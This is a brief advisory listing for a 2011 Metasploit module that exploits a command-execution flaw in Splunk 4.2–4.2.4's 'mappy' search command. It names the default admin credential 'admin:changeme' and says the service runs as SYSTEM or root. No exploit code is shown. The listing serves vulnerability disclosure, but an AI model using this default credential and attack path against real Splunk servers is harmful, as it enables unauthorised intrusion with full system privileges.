Splunk Search Remote Code Execution

Splunk Search Remote Code Execution
Posted Dec 23, 2011
Authored by Gary O'Leary-Steele, juan vazquez | Site metasploit.com

This Metasploit module abuses a command execution vulnerability within the web based interface of Splunk 4.2 to 4.2.4. The vulnerability exists within the 'mappy' search command which allows to run python code. To exploit this vulnerability a valid Splunk user with the admin role is required. Unfortunately, Splunk uses a default credential of 'admin:changeme' for admin access, which is used to leverage our attack. The Splunk Web interface runs as SYSTEM on Windows and as root on Linux by default.
